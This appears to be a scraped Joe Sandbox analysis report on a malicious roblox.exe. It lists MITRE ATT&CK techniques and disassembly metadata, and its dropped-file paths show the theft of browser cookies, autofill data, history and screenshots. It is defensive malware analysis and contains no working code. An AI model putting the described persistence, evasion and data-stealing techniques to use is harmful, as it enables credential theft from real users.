Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memchr
String ID:
API String ID: 3297308162-0
Opcode ID: 894b152478e49585909b4f884bd3c79ebd5a6dd4ef0c1a77e308b87e5181a23f
Instruction ID: 47cf9249966758637f82674bd8102d0bc6e7cc6b24b65776a2333200f3c55a62
Opcode Fuzzy Hash: 894b152478e49585909b4f884bd3c79ebd5a6dd4ef0c1a77e308b87e5181a23f
Instruction Fuzzy Hash: C991D966B0A681D2EF108B26D4A0239A7A1FB89BD4F588035DF8D837D5CF3DE865C714

Function 00007FF8A7DE53E4 Relevance: 5.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A7ED98E0
memmove.VCRUNTIME140 ref: 00007FF8A7ED98F0
memmove.VCRUNTIME140 ref: 00007FF8A7ED9900
memmove.VCRUNTIME140 ref: 00007FF8A7ED9910

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: a23466d681eb0a4b59ef0f4ee0ccc74a58dbd7c3bc8a430191d22eb2a2f2a2f8
Instruction ID: 0c1f817cc48a165adc98d15f0ec04f6ed6a37f5a2a7f6485d3d22169116bb604
Opcode Fuzzy Hash: a23466d681eb0a4b59ef0f4ee0ccc74a58dbd7c3bc8a430191d22eb2a2f2a2f8
Instruction Fuzzy Hash: A5116372705A41A2DB50DF2AE6401AD7360EB44BD0F444531EB6E47B96FF68E9A1C700

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control ).
Tactics:	Collection, Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report roblox.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe

C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493.zip

C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Cookies.txt

C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Firefox\History.txt

C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\network_info.txt

C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\process_info.txt

C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\screenshot.png

C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\system_info.txt

C:\Users\user\AppData\Local\Temp\AutofillData.db

C:\Users\user\AppData\Local\Temp\Cookies.db

Windows Analysis Report
roblox.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre